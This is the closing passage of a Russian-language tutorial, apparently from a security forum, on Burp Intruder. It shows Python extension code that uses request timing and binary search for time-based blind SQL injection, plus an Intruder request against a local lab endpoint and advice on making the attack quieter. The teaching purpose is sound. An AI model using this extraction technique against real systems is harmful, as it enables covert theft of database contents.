            reqTimeout = currentTime - reqTime['time']


            if reqTimeout > self.sleepTimeout:
                if self.minValue == self.maxValue:
                    self.resultString += chr(self.symbols[self.checkSymbolPos])
                    self.initNextSearch()
                    print(self.resultString)
                else:                  
                    self.maxValue = self.checkSymbolPos
                    if self.maxValue == len(self.symbols):
                        self.maxValue = len(self.symbols) - 1
            else:
                if self.minValue == self.maxValue:
                    print("Error: can't find symbol")
                    print(self.minValue, self.maxValue, self.checkSymbolPos, self.symbols[self.checkSymbolPos], chr(self.symbols[self.checkSymbolPos]))
                    self.continueSearch = False
                else:
                    self.minValue = self.checkSymbolPos + 1
                 
            return
     
        self.requestsTime.append({
            'request': messageInfo.getRequest(),
            'time': time.time()
        })

Думаю, все уже заметили, где и как объединился пример с замерами тайминга запроса и бинарный поиск. Собственно, если у нас время выполнения запроса больше указанного нами таймаута, то мы на правильном пути. Значит проверяемый символ меньше или равен последнему значению. Тут важно понять, мы находимся в поиске подходящего символа или уже проверяем его. Определяем этот момент, как и в сервисной функции — проверяем, сошлись ли минимум и максимум в одной точке. Если сошлись, мы в конце пути, можно переходить к поиску следующего символа. В ином случае, указываем новое максимальное значение, так как искомый символ меньше или равен последнему тестовому значению. Соответственно, продолжаем двигаться в левую часть списка вариантов.

Что происходит, если время запроса меньше ожидаемого? Значит мы движемся не в том направлении. Нам нужно смещаться в правую часть списка от текущей позиции, а значит увеличивать минимум, оставив максимум на том же значении.

Соответственно, есть проверка не сошлись ли значения минимума и максимума при быстром ответе на запрос. Это означает, что мы зашли в тупик. В данном случае, проверка останавливается, путем установки continueSearch в False, но можно сделать по другому. Например, вместо нераспознанного символа вывести знак вопроса и перейти к проверке следующего символа. После завершения всех проверок, допарсить недостающие символы. Подбирайте удобный вариант в вашей конкретной ситуации.

Пример запроса в интрудере:
Код: Скопировать в буфер обмена

GET /backup-sqli/?id=§hack§ HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Запускаем код (обязательно в одном потоке, иначе беда) и видим, что все четко работает:

Зачем вся морока с оптимизацией? Все очень просто. Я специально написал код PHP-странички таким образом, чтобы запросы фиксировались в базу. Для примера, вместе с нашими запросами добавляются рандомные. Таким образом можно наглядно увидеть ситуацию:

Для поиска значения одного символа, оптимизированный алгоритм сделает, в среднем, 7 запросов. В примере, длина значения 60 символов, а значит будет 420 запросов. При запуске перебора при помощи “кластерной бомбы”, мы получим 3840 запросов, а это значительно “шумнее”. Кроме того, итоговое значение надо будет привести к читаемому виду, в отличии от готового вывода в расширении. Но повторюсь, воспринимайте примеры как идеи, а не как конечные инструменты.

Заключение​

В статье рассмотрел довольно обширный круг возможностей использования Burp Intureder. Было и про базовые вещи, вроде разницы между типами атаки и более продвинутые, как использование макросов и написание собственных расширений для оптимизации работы интрудера.

Надеюсь у меня получилось расширить ваши знания о Burp Intruder и натолкнуть на новые идеи в работе. Подавляющее большинство материалов, которые мне попадались по работе с интрудером, достаточно поверхностные и не затрагивают множества крутых техник. Это была моя попытка зайти дальше и показать что-то более глубокое.

Очень интересно узнать ваше мнение по данному материалу. Статья вышла безумно большой по причине того, что при написании каких-то серьезных кусков постоянно возникало ощущение, что большей части читателей может потребоваться

Спойлер: Прикрепленный файл
К обоим частям статьи прикреплен архив. Оба архива одинаковые. В архивах лежат все коды расширений, а также небольшой тестовый стенд на базе Docker. Для запуска стенда, просто распакуйте архив, откройте папку в терминале и запустите через docker-compose up -d. Все прекрасно работает с тем же Docker Desktop.

Если вам интересно узнать больше о создании собственных расширений на базе Burp Extender, приглашаю ознакомиться с другими моими статьями по этой теме:

Пишем собственное расширение для BurpSuite на Python​

Свое расширение для Burp. Часть 2: активное сканирование​

Свое расширение Burp: оповещение об уязвимостях в ТГ и многошаговые атаки​

Свое расширение для Burp: контекстное меню и аналог Hackvertor​

Свое расширение для Burp. Часть 5: Пользовательский интерфейс​

Расширение для Burp. Часть 6: Улучшаем Repeater​

Свое расширение для Burp. Часть 7: Используем gobuster для поиска vhosts​